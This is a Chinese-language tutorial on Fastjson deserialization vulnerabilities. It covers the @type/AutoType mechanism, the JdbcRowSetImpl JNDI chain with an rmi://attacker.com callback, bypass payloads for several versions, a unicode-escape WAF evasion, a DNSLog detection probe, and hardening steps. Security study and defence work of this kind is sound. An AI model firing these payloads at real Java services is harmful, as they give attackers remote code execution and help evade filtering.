Fastjson反序列化漏洞原理与防御指南 📅 2026/7/22 5:00:54 1. Fastjson反序列化漏洞入门指南如果你刚接触Java安全研究Fastjson反序列化漏洞是个绝佳的起点。作为国内使用最广泛的JSON处理库Fastjson的漏洞影响范围广、利用方式典型理解它能帮你快速掌握Java反序列化漏洞的核心原理。我第一次分析Fastjson漏洞时花了整整两周才理清各种绕过手法的内在逻辑。现在回头看其实只要抓住几个关键点就能快速入门。下面我会用最直白的方式带你从零开始理解这个经典漏洞。2. Fastjson基础使用2.1 基本序列化与反序列化Fastjson的核心功能很简单 - 把Java对象和JSON字符串互相转换。先看个最简单的例子public class Person { private String name; private int age; // 构造方法、getter/setter省略 } Person person new Person(Yuy0ung, 20); String json JSON.toJSONString(person); // 序列化 Person obj JSON.parseObject(json, Person.class); // 反序列化这段代码完成了将Person对象转为JSON字符串{age:20,name:Yuy0ung}将JSON字符串还原为Person对象实际开发中建议使用JSONField注解处理字段映射特别是当JSON字段名与Java属性名不一致时public class Person { JSONField(name user_name) private String name; JSONField(name user_age) private int age; }2.2 关键特性type与AutoTypeFastjson有个特殊功能 - 通过type指定反序列化目标类{ type: com.example.User, name: test, age: 20 }配合SerializerFeature.WriteClassName特性序列化时会自动添加typeString json JSON.toJSONString(user, SerializerFeature.WriteClassName);这个看似方便的功能正是所有漏洞的根源。因为它允许攻击者控制反序列化的类从而触发恶意代码执行。3. Fastjson漏洞原理深度解析3.1 漏洞核心任意类实例化方法调用Fastjson反序列化漏洞的本质是通过type指定任意类反序列化过程中自动调用类的setter/getter方法找到合适的跳板类触发恶意操作以经典的JdbcRowSetImpl利用链为例{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://attacker.com/exploit, autoCommit: true }反序列化时会实例化JdbcRowSetImpl调用setDataSourceName()设置恶意RMI地址调用setAutoCommit() → connect() → lookup()触发JNDI注入实现RCE3.2 漏洞利用条件要成功利用需要满足目标使用存在漏洞的Fastjson版本(1.2.24默认危险)反序列化时未禁用AutoType目标环境存在可利用的gadget类出网或存在可利用的本地类4. 各版本漏洞利用详解4.1 Fastjson 1.2.24 - 直接利用这是最直接的漏洞版本无需任何绕过String payload {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\rmi://localhost:1099/Exploit\,\autoCommit\:true}; JSON.parse(payload);4.2 1.2.25-1.2.41 - 黑白名单绕过1.2.25引入了黑白名单机制但可以通过特殊字符绕过{ type:Lcom.sun.rowset.JdbcRowSetImpl;, dataSourceName:rmi://localhost:1099/Exploit, autoCommit:true }原理是利用TypeUtils.loadClass()对Lcom.sun...;格式的特殊处理。4.3 1.2.42-1.2.43 - 双写绕过1.2.42检测单层L...;但双写仍可绕过{ type:LLcom.sun.rowset.JdbcRowSetImpl;;, dataSourceName:rmi://localhost:1099/Exploit, autoCommit:true }4.4 1.2.47 - 缓存绕过最经典的绕过方式利用Class加载机制{ a:{ type:java.lang.Class, val:com.sun.rowset.JdbcRowSetImpl }, b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://localhost:1099/Exploit, autoCommit:true } }这种手法不依赖AutoType开关危害性极大。5. 漏洞检测与防御5.1 漏洞检测方法DNSLog测试{type:java.net.Inet4Address,val:dnslog.cn}报错检测{type:java.lang.AutoCloseable5.2 安全防护方案升级到最新安全版本(1.2.83)关闭AutoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);启用SafeModeParserConfig.getGlobalInstance().setSafeMode(true);6. 实战注意事项不同JDK版本可用的gadget不同测试时需匹配环境高版本JDK(8u191)需要配合本地利用链实际渗透中要尝试多种payload组合WAF通常会对type等关键字过滤需要变形绕过我曾在一次实战中遇到过滤type的情况最终通过unicode编码成功绕过{\u0040type:com.sun.rowset.JdbcRowSetImpl}7. 学习资源推荐官方安全公告https://github.com/alibaba/fastjson/wiki/security_update漏洞分析文章Fastjson反序列化漏洞史Java反序列化漏洞从入门到精通实验环境Vulhub Fastjson漏洞环境WebGoat反序列化课程理解Fastjson漏洞后你会发现其他Java反序列化漏洞(如Shiro、WebLogic等)都是类似的套路 - 找到合适的gadget链控制反序列化过程实现恶意调用。